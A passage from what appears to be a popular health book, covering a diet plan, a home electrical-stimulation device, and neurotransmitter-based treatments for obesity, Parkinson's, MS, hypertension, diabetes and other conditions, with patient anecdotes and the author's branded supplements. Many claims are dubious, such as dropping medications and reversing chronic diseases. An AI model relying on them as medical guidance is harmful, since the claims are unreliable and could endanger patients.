_Choice 15:_ 3/4 cup hummus, red and green pepper strips, and 5 whole-wheat sesame crackers for dipping
**DINNER**
Always accompany dinner with a fresh salad with olive oil and balsamic vinegar. If you have to eat late, keep it light—for example, turkey, chicken, fish, tofu, or beans with salad or soup with vegetables or chicken soup with 1 slice whole-wheat bread.
_Choice 1:_ Grilled chicken (6–8 oz.) with fresh basil, with 1/2 cup brown rice, 1 cup grilled vegetables, bananas with cinnamon or cocoa powder for dessert
_Choice 2:_ 2 tablespoons low-sodium tomato sauce on 1 cup whole-wheat pasta with 2–3 meatballs (do not add cheese to this meal), fresh berries
_Choice 3:_ 4–6 oz. broiled or baked red snapper fillet with lemon or lime juice and 1–2 tablespoons pesto, sugar-free Jell-O for dessert
_Choice 4:_ Broiled salmon steak or other fish with steamed broccoli and carrots, 1 cup low-fat plain yogurt mixed with berries, and sprinkled with pumpkin seasoning
_Choice 5:_ Caesar salad with 1 boiled egg, spinach, celery, carrots, 2 oz. low-fat cheese such as mozzarella or feta, and 4 oz. either turkey or chicken, finished with apple salad with walnuts and just a touch of balsamic vinegar
_Choice 6:_ 4–6 oz. lean steak with steamed green beans, berries for dessert
_Choice 7:_ Chicken breast, steamed snow peas, and sweet potatoes, sprinkled with turmeric
_Choice 8:_ Stir-fried chicken with 1 cup mixed vegetables and fresh ginger, 1 slice low-fat cheesecake topped with fresh raspberries for dessert
_Choice 9:_ Grilled fish with salsa, grilled asparagus, sweet potatoes
_Choice 10:_ 8 oz. skinless roasted turkey, 11/2 cups oven-roasted vegetables, with 1 glass grape juice or red wine, 1 handful mixed nuts without salt
_Choice 11:_ 4 oz. broiled salmon or trout, 1 baked sweet potato, asparagus, 3/4 cup strawberries
_Choice 12:_ 2 cups whole-wheat pasta topped with 1 cup marinara sauce, 1 cup diced vegetables, 1 tablespoon grated low-fat Parmesan cheese
_Choice 13:_ 3 oz. skinless roasted chicken breast, 1/2 cup mashed sweet potato, 1/2 cup green beans sprinked with sliced almonds and dried cranberries, 1 grapefruit
_Choice 14:_ 4 oz. broiled salmon or trout, 1/2 cup corn, 2 cups green vegetables
_Choice 15:_ 4 oz. broiled wild salmon stir-fried with 1 cup vegetables, 1 cup couscous
**HEALTHY SNACKS**
Have at least two snacks a day, the first between breakfast and lunch, and the second between lunch and dinner.
Yogurt with nuts, berries, or 1/4 teaspoon of organic maple syrup
Bananas with some cinnamon or cocoa powder, or just plain
1 or 2 soft-boiled eggs with some baby carrots
2 oz. low-fat cheese with grapes, green apple, and mixed raisins
5 whole-wheat sesame-seed crackers with olive oil for dipping
Yellow, orange, and green pepper strips
When Gary first walked in my door, it was immediately clear why he'd come to see me. At six foot one and three hundred pounds, Gary was obese. He experienced chronic hypertension, a heart murmur, attention and concentration difficulties, shortness of breath, constipation, sweating, headaches, dizziness, depression, and anxiety. His Braverman Nature Assessment showed that he had a strong dopamine deficiency as well as a severe GABA deficiency.
I put Gary on the Rainbow Diet and told him that once he got his weight under control, many of his other symptoms of brain chemical imbalance would resolve. Gary needed to supplement his diet with rice bran fiber and a once-a-month growth hormone shot to enhance his metabolism. Just one month later, Gary returned with a normal blood pressure and a loss of thirty-eight pounds. His chest pains had decreased, and his depression had lessened considerably. At this point, I told him to stay on the Rainbow Diet and supplement his efforts with my GABA-enhancing agent Brain Calm. A month after that, Gary was down to 250 pounds, his blood pressure was still normal, and he reported that his headaches had gone away. Five months later, Gary's weight was down to 210, and he was committed to losing even more.
By following the Rainbow Diet, you are taking an important step on the path to total health. This diet is for the rest of your life, so that you can eat delicious, healthy foods on a regular basis. By following this eating plan, the occasional chocolate cake, pizza, or pasta meal will not upset your entire system.
**THE HELPING HANDS OF CES**
Electricity powers the brain and the body, so it makes perfect sense to me to use electrical current to balance brain function. The third and final component of the Braverman Prescription is the CES device. Cranial electrical stimulation, or CES, is a therapeutic procedure that can be done in the privacy of your own home, using mild battery-powered electronic stimulation for the treatment of anxiety, depression, and insomnia. CES alters the abnormal electrical connections that can occur with drug or alcohol abuse and other organic brain diseases as well as normalizing other dysfunctional brain patterns. In short, CES helps us balance our brain waves.
For more than ten years I have seen the positive effects of CES on hypertension, headache, and pain relief. It's only a matter of time before CES is approved for other conditions. The CES device is particularly effective for men, who are prone to tense, restrictive, anxiety-prone health imbalances associated with the left brain. CES is safe, noninvasive, and nonaddictive, has no pharmaceutical side effects, and can be used daily. Positive results may be experienced immediately, though for some it takes up to three or four weeks. For lasting benefits, treatment should be continued at regular intervals.
POSITIVE EFFECTS OF CES
Enhanced cognition
Reduced anxiety
Reduced depression
Reduced insomnia
Reduced withdrawal symptoms
Improved brain waves
Enhanced neurotransmitter functions
Relapse prevention
Prevention of substance abuse in high-risk individuals
For example, to counteract exposure to microwave radiation and magnetic fields during the day, use a CES device for forty-five minutes every evening while relaxing, reading, or watching TV. Using a CES can help recharge neurons and promote conversion of choline to produce acetylcholine. In terms of GABA, the CES device can help an individual feel less overwhelmed—a great antidote to overextension and a contribution to a successful marriage between head and heart.
Obtaining a CES device requires a prescription from a physician. The FDA has approved CES use for anxiety, depression, and insomnia, and the U.S. Patent Office has issued a patent to me for its use—I have devised a specific method of applying the electrodes to forehead and wrist for optimal use.
Irene was a fifty-six-year-old woman who had suffered from migraine headaches for thirteen years. They had started out occurring about twice a month but had become more frequent during the last four years. She was treated by a neurologist with a variety of medications, including Elavil, Reglan, Corgard, Calan, Blocadren, Vistaril, Norgesic, and Anaprox, with only Blocadren giving some mild relief, but no great change. During these headaches she could not concentrate at all.
When I saw Irene, I immediately gave her the Braverman Nature Assessment and determined that she was a GABA nature. I took her off the other medications and put her on the seizure medication Depakote. She reported back to me that she received 90 percent relief. However, my goal is to always limit prescription medication as much as possible. A few months later I started Irene on the CES device and was able to reduce the Depakote in the first month. After using the CES device for about two months, she began to lower the Depakote further.
**CONTINUING ALONG THE PATH**
By following the Braverman Prescription, you can begin to stop the aging process and start leading a healthier, more productive life. Besides death and taxes, another certainty is that as we age, first we slow down, then we break down. The good news, as you've seen in this chapter, is that most pauses, if treated early enough, can be postponed for a long time, making vigorous health a lifelong state. By reactivating the brain, you can reactivate the hormones and organs in your aging body.
HEALING SPECIFIC SYMPTOMS AND CONDITIONS
THE LIST OF conditions that are related to or caused by abnormal brain chemistry is enormous. I have treated over four hundred conditions, all related to brain chemical imbalances. The individual nature chapters in Part II list the symptoms and conditions that are commonly affected by each of the biochemicals.
In my practice, I have seen that there are certain conditions that most often occur for each of the biochemical natures. This chapter covers these illnesses and gives instructions for a variety of treatments, from a traditional medication approach to a more holistic, alternative strategy.
If you are suffering from a particular condition that is not listed in this chapter but is listed in one of the nature chapters, please refer to that chapter for possible treatment alternatives. If your symptoms are minor, then choose one of the lifestyle treatments. If your symptoms are moderate to severe, I suggest that you see your doctor about these symptoms immediately.
You can take a proactive approach to your treatment by informing your physician about the results of your Braverman Nature Assessment. The information about your biochemical nature, as well as any significant deficiencies, will be invaluable to your doctor. With this information, he or she can properly choose which medications or treatments to prescribe for both your condition and your nature.
**EVEN THE SMALLEST INFECTIONS
CAN DAMAGE THE BRAIN**
Just as a change in brain chemistry can change your health, poor health can change brain chemistry. Left unchecked, minor changes in brain chemistry can snowball into a significantly greater problem. For example, in order to maintain optimal health, it's important to keep your body free of infections. Even the smallest infections can affect our brain in many ways. Infections can trigger an abnormal immune response, resulting in drastic illnesses, including mental disorders and some cancers. Chlamydia, a relatively minor sexually contracted infection, has been linked to multiple sclerosis, which is an acetylcholine disease. The common flu can contribute to dopamine-linked Parkinson's disease. When you are infected with the flu, your dopamine level is diminished. That is why Parkinson's drugs such as amantadine (Symmetrel) and rimantadine (Flumadine), which build dopamine, can help to alleviate the flu.
This means we must learn to take care of our brains and our bodies on both macro and micro levels. Not only is it important to follow the Braverman Prescription for total, lasting health, it's equally important to consistently practice good hygiene, especially when you are around infected individuals.
**DISEASES OF
DOPAMINE DEFICIENCY**
A deficit in any of the four primary neurotransmitters can cause a cascade of health problems. When brain chemistry is altered, you will begin to experience the negative side of the Edge Effect. Just one chemical imbalance can cause you to lose a corner of the edge, which can damage the entire physiology.
Dopamine deficiencies are all about losing control. When your dopamine levels falter, your metabolism and muscle movements become erratic. Your emotional state is affected, since you can no longer control your deepest desires, whether they are for food, drugs, or sex.
When you rebalance your dopamine, you are reversing the negative side of the Edge Effect. You will regain control of your brain and body, returning yourself to the zone of good health.
**ADDICTION**
Addiction is defined as a repetitive, compulsive, destructive behavior that a person cannot willfully stop. It can involve a variety of substances, including drugs, alcohol, cigarettes, caffeine, carbohydrates, fat, junk food, and even codependent relationships. Learning to break addictive patterns is the most critical dimension of preventive medicine, because addictive behavior is at the root of most of our chronic diseases. For example, alcoholism leads to liver disease, and carbohydrate addiction leads to obesity.
Abnormal brain chemistry, especially when dopamine deficiencies or excesses are involved, can lead to cravings, which are the body's automatic response for temporary healing. Unfortunately, even when these cravings are met, the brain continues to require the consumption of the craved substances just to meet its minimum requirements. By constantly supplementing the brain with these craved substances, you are creating an addiction.
The classic example of a biochemically based addiction is alcoholism. Faced with an excess or deficiency of dopamine, some people will begin to self-medicate, using alcohol to quiet their brain. Alcoholics usually attribute their drinking to mood disorders such as depression and anxiety, two common dopamine-related conditions. However, although the brain will be temporarily sated, increased alcohol consumption begins to wreck the body. First it will lead to across-the-board nutrient depletion. Later it will affect the kidneys and liver.
Conditions that create an alcohol craving, such as depression and anxiety, can be overcome with lifestyle changes, including nutritional supplements. The biochemical cause of alcohol and drug abuse may be helped by correcting deficiencies of B vitamins (especially niacin and thiamine), magnesium, zinc, and several antioxidants and amino acids (tryptophan and phenylalanine). These are all dopamine-friendly supplements.
Even minor addictions must be thwarted in order to obtain total brain and body health. For example, almost everyone I know loves to eat chocolate. This indulgence has been used for centuries to self-medicate our low moods. Because of its pseudo-elevating effect, chocolate was once called the "food of the gods." Chocolate contains phenylethylamine, which is known for causing emotional highs and lows associated with mood swings, love, pleasure, and indulgence. Chocolate also contains the chemical theobromine, which triggers the release of endorphins in the brain and works as a natural antidepressant.
However, we all know that too much chocolate is bad for you, from your waistline to your teeth. Worse, with continued intake, addicting substances can deplete endorphins and will not lead to their restoration. Addictions can be treated with natural techniques such as my dopamine Brain Energy supplement program.
**OBESITY**
Obesity has become one of our most critical health problems. Roughly 64 percent of all adults in the United States are either overweight or obese—meaning they are more than 20 percent above their ideal body weight. Obesity has been linked directly to such significant health problems as diabetes, cardiac problems, hypertension, sexual dysfunction, and depression.
Obesity stems from both your genetic makeup and a variety of chemical imbalances. A deficiency in any of the primary neurotransmitters can lead to obesity; however, I have found that the best treatment for this disease is a dopamine program. Dopamine agents are stimulants. They increase the power of your bodily electricity, and they also increase your metabolism, so that you turn the foods you eat into fuel more efficiently. A dopamine diet, which is a high-protein diet, gives you necessary amino acids that aid in digestion and keep you feeling full, even hours after you have eaten.
Amanda was five feet five inches tall and weighed 190 pounds when I began seeing her. Amanda was able to use dopamine biochemistry treatments, aerobic exercise, the CES device, and hormone replacement therapies to practically double her metabolic rate. This extra boost to her metabolism helped her to lose seventy pounds in just six months, and keep the weight off.
**PARKINSON'S DISEASE**
The classic disease of dopamine deficiency is Parkinson's disease, which affects approximately one million Americans. Parkinson's disease begins as a dopamine deficiency, which wears out the brain both biochemically and electrically. Scientists now believe that as dopamine is depleted in Parkinson's patients, the brain's neurons may be rendered dysfunctional. This causes irreversible physical damage to the brain and impairs its ability to powerfully distribute its electricity.
Parkinson's disease is a neurological disorder that causes not only characteristic changes in motion (including rigidity, tremors, slowness, and loss of reflexes that help maintain posture) but cognitive decline as well. This slowdown can be directly correlated to a decrease of brain power. In a neuroelectrical sense, the brain of a Parkinson's patient functions like that of a one-hundred-year-old, regardless of the person's biological age.
The main therapy for Parkinson's disease is the amino acid L-dopa, which converts into dopamine in the brain. Parkinson's patients also respond to a range of neurotransmitter and dopamine support agents, with an emphasis on amino acids. Methionine has been a particularly useful amino acid, as it stimulates the body's own production of L-dopa. Tyrosine and phenylalanine mimic the effects of L-dopa in the brain. Tryptophan may serve to inhibit tremors.
Numerous studies have been undertaken on other nutrients that may be helpful in treating Parkinson's. For example, antioxidants, including vitamins E and C, counter damage by free radicals and may prevent the progression of Parkinson's by slowing the damage to brain nerves. Parkinson's patients should also receive specific dietary instructions. For example, they could benefit from a vegetarian breakfast and lunch, with fruits as a main component, which would minimize the blocking of amino acid absorption and the conversion to dopamine. There are patients with Parkinson's disease who come into my office unable to walk whom we are able to restore to full health.
**DISEASES OF
ACETYLCHOLINE DEFICIENCY**
Acetylcholine is a natural moisturizer that helps cells retain fluid and maintains the membrane coatings of cells. All acetylcholine deficiencies lead to dehydration, and once this corner of the edge is lost, you can experience a cascade of physical conditions that all relate to a literal drying out. Once your brain starts to dry out, it can no longer regulate your immune system properly. It also triggers the joints to dry out prematurely, so the brain calls on calcium resources in the bones to add moisture to the system, thereby drying up the bones as well. If you can keep your brain young, you can manage this aging process and even regain use of atrophied muscles and bones. I have seen patients who have gone from bed-bound lives to regaining full movement. By restoring your edge you can have strong bones, strong joints, and a healthy body.
**ARTHRITIS**
Acetylcholine controls moisture levels throughout the body. When you are experiencing an acetylcholine deficiency, moisture evaporates and dryness occurs, followed by inflammation. This three-part process is the predecessor of arthritis. Arthritis flares up when joint lubrication is lost and the body loses its ability to relubricate, or maintain, healthy joints. Interestingly, when the brain loses its moisture, cognitive deterioration begins. This is why as we age, cognitive deterioration and bone loss often occur simultaneously.
Arthritis can be treated by following an acetylcholine-boosting regimen, including hormone therapies, proper diet, supplements, and exercise. I have had great success using the supplement methionine, which has been compared to ibuprofen for the treatment of arthritis, only without the gastrointestinal side effects.
**OSTEOPOROSIS**
Osteoporosis is a painful and debilitating condition in which the damage can be done decades prior to the first actual bone fracture. Not only does bone density loss affect the architectural support of your body, but the injuries that can occur from this disease may erode the quality of your life, since the simplest tasks become difficult to manage once you lose bone strength. Eighty percent of all patients with osteoporosis are women, yet one third of all men also will experience its symptoms by the age of seventy-five.
Bone is living tissue composed of a soft, porous center encased in a hard outer surface. Osteoporosis occurs when the porous center becomes far less dense than the outer surface, causing the bone to literally collapse on itself. This is one reason why older people tend to lose height with age. Their vertebrae, composed almost entirely of the softer, more porous bone, shrink in size as it loses density.
There are many risk factors affecting bone health, including over-consumption of alcohol, cigarettes, caffeine, and sodium and undercon-sumption of dietary calcium. When you are experiencing early signs of this disease, any osteoporosis treatment plan should first address reversing these lifestyle choices. A preventive program would include additional nutritional supplementation to enhance levels of calcium and other minerals, including boron and strontium. Weight-bearing, anaerobic exercises are also recommended to promote further bone building. Brief daily exposure to the sun is also important, as it promotes the conversion of vitamin D to calcitriol, essential for building bone health.
If you are experiencing symptoms of osteoporosis, you should seek medical attention immediately. You can work with your doctor to develop a customized acetylcholine-building program that can slow bone degradation and offer pain relief. I usually treat osteoporosis patients with a combination of the supplements mentioned above, as well as hormone replacement therapy to correct bone deficits that have already occurred. I use a combination of growth hormones and natural estrogen, progesterone, and testosterone to raise the activity of bone-building cells.
**MULTIPLE SCLEROSIS**
Multiple sclerosis is a relatively common chronic neurological disorder. Beginning as a series of benign symptoms, it can lead to an incapacitating condition. It often attacks people between twenty and forty (with a higher incidence in women), frequently in the optic nerve, spinal cord, and brain. MS occurs as lesions or holes form on the myelin sheaths (formed in part from acetylcholine) found around the nerves in the brain, slowing down conduction, with potentially devastating effects on the functions of neuronal circuits in the brain and spinal cord.
Classic symptoms of MS include weakness, numbness, impaired vision, double vision, trouble swallowing, intention tremor (trembling when you intend to do something, as opposed to Parkinson's, which is associated with a rest tremor), trouble walking, impairment of deep sensation, bladder dysfunction, and altered emotional responses. MS can induce a tingling electrical-like feeling down the back and inner thighs, as well as unsteadiness in walking. Depression is the most common psychological symptom of MS. In addition, there are frequently impairments in memory, attention, and conceptual reasoning.
Often the most successful treatment of MS uses a multidisciplinary approach. These treatments and techniques can both arrest the disease as well as manage the symptoms. Use of strong antidepressants, such as phenelzine (Nardil) and selegiline (Eldepryl), which help enhance dopamine by blocking enzymes that break down dopamine, might slow the progress of the disease. Hormone replacement therapy, using only naturally synthesized prescriptions, may offer MS patients some relief from their condition. MS is associated with a depletion of the adrenal glands' hormone DHEA, and so by adding low concentrations of DHEA, some symptoms may be alleviated.
Dietary changes may also affect the chronic course of this disease. High intake of polyunsaturated oils (e.g., safflower oil) has frequently been demonstrated to slow the progression of MS. I encourage my MS patients to increase their intake of raw fruits and vegetables and to stay away from chemical preservatives and processed foods. They avoid tap water and limit their intake of eggs. Also, new studies have shown that vitamin D has a powerful effect on the aging brain, especially for MS patients, given that it preserves the membranes of the body, such as myelin. Vitamin D can be found in fortified milk, as well as in supplement form and through brief, regular exposure to sunlight.
My MS patients are instructed to follow our acetylcholine and GABA programs, the latter because GABA calms patients and their nervous systems, and in this way many patients have eliminated a good number of the condition's symptoms. For example, Ellen, a forty-four-year-old woman, had been suffering from MS for almost fifteen years. She walked with a cane and was having difficulties with her vision. She was taking oxybutynin (Ditropan) to treat a bladder problem and had been treated with traditional MS drugs such as baclofen (Lioresal) and steroids without success. She suffered from constipation, depression, severe fatigue, and numbness in her limbs.
I first put Ellen on a low-fat, high-complex-carbohydrate diet. I gave her evening primrose oil and fish oils (for their anti-inflammatory and anti-blood-clotting effects), an antioxidant, a multivitamin, antidepressants, and amino acids. I told Ellen that her health was in her hands. Even though a dismal prognosis often accompanies a diagnosis of MS, she did not have to believe that she would be disabled. She was invited to cultivate a hopeful outlook. Sure enough, once the antidepressants began to work, her overall outlook improved. She threw away her cane, and her numbness subsided dramatically. Her ability to move and her energy level improved, with a nearly complete remission of fatigue. To this day she continues with her antidepressants, and has more than a 60 percent remission of her overall MS symptoms.
**DISEASES OF GABA DEFICIENCY**
GABA deficiencies can cause a cascade of anxiety, which almost always results in some type of pain. When you are anxious, your body reacts— the blood vessels clamp down and blood pressure increases. Or your signals misfire and you get chronic pain. GABA deficiencies can cause one illness after another, until balance is restored. When you get your GABA controlled, your body returns to its natural rhythm.
**CHRONIC PAIN**
One in three Americans suffers from some kind of chronic or recurring pain. Seventy-six million of us experience back pain; thirty-six million endure the pain of arthritis; twenty million have migraine headaches. Pain is a symptom of a greater problem, one often caused by a brain chemical deficiency. Most likely, those who experience chronic pain have a GABA deficiency, where the brain's electrical rhythm is not sent to the body in a smooth flow.
Most doctors will prescribe sedating painkillers, antidepressants, or drugs such as oxycodone (OxyContin) to their patients with chronic pain. While these painkilling drugs are effective, they are also addictive. To date, there are four million OxyContin addicts who use this drug to mask their pain. What's more, none of these treatments resolves the problem of a GABA deficiency.
I treat chronic pain patients with a more natural approach. I usually prescribe a combination of nutrients, including 5-hydroxytryptophan; D, L-phenylalanine; methionine; and fish oils; depending on their level of GABA deficiency. This combination is particularly effective for those who suffer from arthritis and migraines. Other nutrients such as vitamin B6, zinc, and manganese can help deal with the stress that often accompanies pain. Researchers have found that chronic pain is often both a mental and physical condition.
**SEIZURES**
Seizures occur on a continuum that begins with anxiety, depression, insomnia, and panic. All of these symptoms are related to a GABA deficiency, as they occur when the brain has lost its natural rhythm. Some seizures occur after a head trauma, which can produce GABA imbalances. During a seizure, you may experience symptoms ranging from involuntary outcries to urinary or bowel incontinence, a sinking feeling, increased anxiety, tongue biting, hand tremors, and epileptic convulsions. Seizures can also be limited to specific areas of the body. For example, subjective tinnitus (a spontaneous auditory condition) often entails metallic ringing, blowing, buzzing, clanging, popping, roaring, or nonrhythmic beatings in one or both ears. When this occurs, your ears are probably experiencing a localized seizure.
I have found that inositol and my GABA supplement Brain Rhythm are the cornerstone treatments for anyone who is prone to seizures. Seizures are extremely difficult to control nutritionally, although studies suggest that vitamin E may help. Other nutrients such as vitamin B6, magnesium, and taurine may have some beneficial effects. Common nutrients, such as calcium and magnesium, may also help.
**HYPERTENSION**
Hypertension is the prime contributor to coronary heart disease and stroke, yet in itself it is often nothing more than irritable vascular syndrome. When hypertension occurs, your arteries begin to harden and your blood pressure rises. Fifteen to 20 percent of Americans have hypertension. Left untreated, not only can it damage your heart, but it can also cause harm to your kidneys, lungs, eyes, nervous system, and brain.
I have helped hundreds of patients lower their blood pressure to a normal level and keep it that way for years. My course of treatment does not rely solely on hypertension drugs, but rather incorporates natural techniques that will eventually replace the drugs. With all medications my goal is to get my patients to a point where they can be drug-free.
The amino acid taurine is an important part of the hypertension treatment equation. Taurine is a sulfur-containing amino acid. Adults can synthesize their own taurine: it can be found in the brain, heart, breast, gallbladder, and kidneys, where it plays important roles in the health of these organs. Taurine can also be found in high concentrations in animal and fish protein. Like GABA, taurine has a calming effect, and taurine is the second most important inhibitory neurotransmitter in the brain. This inhibitory effect explains its anticonvulsant and anti-anxiety properties. Megadoses of taurine have been proven to be useful in many patient groups, including those with anxiety or a variety of heart-related conditions, such as myocardial infarction, congestive heart failure, elevated cholesterol, supraventricular arrhythmias, and hypertension.
Along with taurine, I usually prescribe a nutrient program containing fish oils, garlic, evening primrose oil, magnesium, and vitamin B6. My patients follow the Rainbow Diet along with the GABA regimen in order to lower their cholesterol and blood pressure.
Kevin was a fifty-five-year-old man with a history of heart conditions. He had already experienced his first heart attack and wanted to make sure that he did not have another one. At six feet two inches and 172 pounds, Kevin was underweight, and he was not in good health. When Kevin came to see me, his cholesterol was at 234. To control blood pressure he was taking diltiazem (Cardizem), which, combined with his physical condition, left him feeling sluggish all the time.
I put Kevin on the Rainbow Diet, as well as a nutrient program consisting of fish oils, evening primrose oil, niacin, and my hypertension multivitamin. In three weeks his cholesterol fell from 234 to a much more reasonable 130. What's more, his blood pressure normalized at 120/70. Six weeks later he had a cholesterol level of 114, and his blood pressure had dropped further. At this point I took him off the Cardizem, and he has never looked back. Today Kevin is fit, healthy, and medication-free. What's more, his energy and well-being have greatly improved.
**DISEASES OF SEROTONIN IMBALANCES**
When we lose sleep, we forfeit all of the other positive dimensions of the Edge Effect. A deficit here forces every other internal system out of whack: you lose your dopamine sense control, your acetylcholine cognitive abilities to manage life, and your overall GABA stability. Productive sleep, governed by the biochemical serotonin, gives you the freedom and abilities to balance the other corners of the edge at night, so that you can experience the Edge Effect during the day: the zone of total brain/body energy, the Zen of body and brain stability, and the nirvana awareness of higher consciousness.
**SLEEP DISORDERS**
Sleep is a central predictor of your overall health. Sleeping gives your brain a chance to resynchronize every night. I cannot say it more plainly: sleep and relaxation behavior predict longevity.
A serotonin imbalance produces sleep disorders, although sometimes GABA imbalances can cause disturbances as well. By building up your serotonin, not only will you sleep better, but you also allow your dopamine and acetylcholine to replenish. This increase can help get you to the Edge Effect: you will have more power and energy all day long. What's more, new research suggests that good sleep may be essential in maintaining a healthy immune system.
There are many general rules for getting good sleep, including avoiding sleeping pills, sleeping at regular times, getting regular physical exercise, limiting naps during the daytime, quitting smoking, avoiding caffeinated beverages, and limiting television, computer time, and stimulating reading material before bedtime. Yet despite adhering to these rules, many people simply cannot sleep well.
The first step in solving a sleep disturbance is making small lifestyle adjustments. You can try taking a warm bath or at least a footbath before going to bed, having a cup of soothing herb tea, and keeping your bedroom cool and well ventilated. If these don't work, nutrients can help, and unlike most drugs, they do not result in exacerbation of daytime psychiatric problems, like depression. The nutrient tryptophan at dinner and bedtime is effective in starting sleep and, in some cases, keeping a person asleep. Niacin and niacinamide prolong the tryptophan effect. Melatonin and GABA also can contribute to quality sleep. Vitamin B6, pantothenic acid, and other B vitamins also increase dream recall and promote satisfying sleep. Inositol and vitamin C can be helpful too.
If drugs are necessary, anti-anxiety drugs, antidepressants, or anticonvulsants— such as alprazolam (Xanax), clonazepam (Klonopin), gabapentin (Neurontin), trazodone (Desyrel), or sinequan (Doxepin)— and/or antihistamines are best. Occasionally, major tranquilizers such as thioridazine (Mellaril) are necessary. However, the problem with using prescription drugs as sleep aids is that they are addictive. Instead, I recommend using the CES device, which I find to be the best treatment of insomnia developed to date.
**SUGAR CRAVINGS AND TYPE 2 DIABETES**
Sugar cravings in those suffering from hypoglycemia and depression have multiple origins. One biochemical study suggests that decreases in serotonin cause us to crave sugar. Serotonin is made from tryptophan, and tryptophan supplementation frequently decreases sugar craving. High-protein diets, featuring a high tryptophan to carbohydrate ratio, also reduce sugar cravings.
Sugar cravings can lead to type 2 diabetes, a metabolic disorder that causes a chronically elevated blood sugar level. Unlike type 1 diabetes, which is an insulin-dependent condition occurring most commonly in children, type 2 diabetes is linked to increased intake of sugar and simple carbohydrates and obesity. Previously, type 2 diabetes was classified as an adult disease, but with the surge in childhood obesity, doctors are diagnosing patients at every age group with this condition.
Through its effect on your blood sugar levels, diabetes has the potential to trigger other seemingly unrelated yet significant medical conditions, including foot ulcers, kidney failure, depressed immune function, eye diseases, permanent nerve damage, circulatory problems, hypertension, and heart disease.
Glucose tolerance factor (GTF) has been reported to help regulate blood sugar. This compound is beneficial for both diabetics and hypo-glycemics. GTF contains chromium, which is frequently reduced in the plasma of patients with sugar cravings. Inositol may also quell carbohydrate cravings. All diabetics must follow a strict diet that eliminates foods with high sugar content. This diet should be discussed with your own physician.
Type 2 diabetics become insulin resistant, and as they age they lose their growth hormone (with advancing years all of our hormone production slows down). Efforts to improve insulin production naturally include herbal supplements such as _Gymnema sylvestra,_ or nutrient supplements such as zinc and the B complex vitamins. I have seen complete reversals of type 2 diabetes with many of my patients, even those with severe forms of this disease. For example, I once treated a woman who came to me with dopamine deficiency and life-threatening type 2 diabetes, and within six months of beginning a strict dopamine diet and nutrient program, she had completely normal sugar levels. Often when patients are low in dopamine they feel tired, so they use carbohydrates and sweets as energy quick fixes; soon this food becomes part of their daily diet, leading to weight gain and possibly diabetes due to high amounts of sugar in the blood and inadequate amounts of insulin. Many times I recommend a dopamine diet for breakfast and lunch and a GABA diet at dinner to calm down diabetic patients.
**ANOREXIA, BULIMIA, AND SEXUAL ADDICTION**
Anorexia, bulimia, and sexual addiction are all related to serotonin imbalances. Although eating and sex may at first seem very different, these two pleasure-inducing acts are intricately related, and problems with their control can be caused by serotonin deficiencies. When examined more closely, both of these problems are related to synchrony: anorexia and bulimia occur when the signals of the brain to eat are out of sync, and sexual addiction occurs when signals for sexual appetite are miscommunicated.
All three of these syndromes are classified as psychological disorders, and if you are experiencing any amount of binge eating, purposely regurgitating your food, or feeling an constant, overwhelming desire for sexual relations, you should seek psychological help immediately. A physician can prescribe selective serotonin reuptake inhibitors (SSRIs) such as paroxetine (Paxil) and fluoxetine (Prozac) to control these syndromes. Besides therapy, I often recommend natural serotonin-boosting agents, including my Brain Mood formula, to help resynchronize the brain.
**MULTINATURE ILLNESSES**
Many illnesses can occur from a combination of nature deficiencies. Other illnesses can be caused by any one of several deficiencies. For example, obesity is usually a disease stemming from a dopamine imbalance, but it can also be a result of cravings produced through acetylcholine, GABA, or serotonin deficiencies. The following short list
highlights many of the most common multinature illnesses and effective treatment alternatives.
**PMS**
Most women experience minor symptoms related to their menstrual cycle, such as bloating, headaches, backaches, cramping, and general irritability, all of which signal a minor biochemical deficiency. However, with premenstrual syndrome, or PMS, symptoms including depression, mood swings, feelings of aggression or violence, migraine headaches, and joint and muscle pain, among others, indicate that the levels of both GABA and serotonin are unbalanced.
Serotonin-enhancing medications such as fluoxetine (Prozac) and GABA-enhancing medications such as Xanax can be helpful. However, try to avoid medications and the dependency they create. I have successfully treated hundreds of women with natural agents, such as GABA-friendly inositol and serotonin-friendly tryptophan. You can try any of the natural or lifestyle programs described for these two natures. I have also found that the CES device is very helpful for PMS. Interestingly, the 3M Corporation markets a CES-like device that is meant solely to treat PMS.
**STROKE**
About fifteen million ministrokes and half a million full-blown strokes occur every year. Nearly 150,000 people die of strokes annually, and an additional 300,000 people are left crippled to some extent.
Strokes are caused either by blocked blood vessels in the brain (ischemic stroke) or by ruptures in the brain's blood vessels (hemorrhagic stroke). Most are caused by the former. Symptoms include sudden weakness or numbness to the face, arm, or leg (usually one side of the body), loss of speech or trouble talking or understanding speech, dimness or loss of vision (particularly in one eye), unexplained dizziness, unsteadiness, frequent falls, or sudden severe headache.
A physical exam is of minimal value in finding who is going to have a stroke. High cholesterol is somewhat predictive. An MRI tells you if someone is already having a stroke. The best stroke predictor is regular duplex carotid artery scanning and ankle brachial index, tests that carry up to an 86 percent accuracy rate. In order to avoid stroke, common recommendations include lowering blood pressure, lowering cholesterol, and following a well-balanced, low-fat diet. If you have diabetes, keep it under control. Don't smoke or drink alcohol. GABA treatments to reduce anger and frustration can also prove effective, as all sorts of stress, ranging from retirement issues to marital problems, have been associated with higher rates of stroke, even in nonhypertensive patients.
The nutrient most associated with reducing the extent of the damage done by a stroke is carnitine, probably because of its relationship with acetylcholine. Carnitine works by building up acetylcholine, the main memory compound, in the stroke-damaged brain. This enables the brain to shift memories from damaged cells to cells in undamaged parts of the brain, to store new information, and to create new memories. This action is analogous to shifting information on a computer: the brain is simply transferring information to another disk or to a different hard drive.
The toxic effect of stroke occurs as a result of the release of calcium into the cells, as well as an excessive release of the amino acids glutamate and aspartate, which are neurotoxic in moderate to large quantities. GABA-friendly nutrients can help protect cells against these factors. Studies have documented the benefit of vitamin A in reducing stroke damage, as well as possibly the general category of antioxidants, which include vitamin E, selenium, cysteine, vitamin C, and beta-carotene. There may be some additional benefit in giving low dosages of Dilantin or other antiseizure medications to patients after a stroke, because following a stroke as many as 5 to 15 percent of patients may experience a seizure. In France, studies have shown that _Ginkgo biloba_ has also been thought to be helpful in cerebral insufficiency. Primary and secondary prevention of stroke includes the use of ginger, onion, garlic, cayenne pepper, fish oils, aspirin, and willow bark. These natural supplements are especially beneficial to patients who have already had a stroke caused by blocked brain blood vessels.
**SEXUAL DISORDERS**
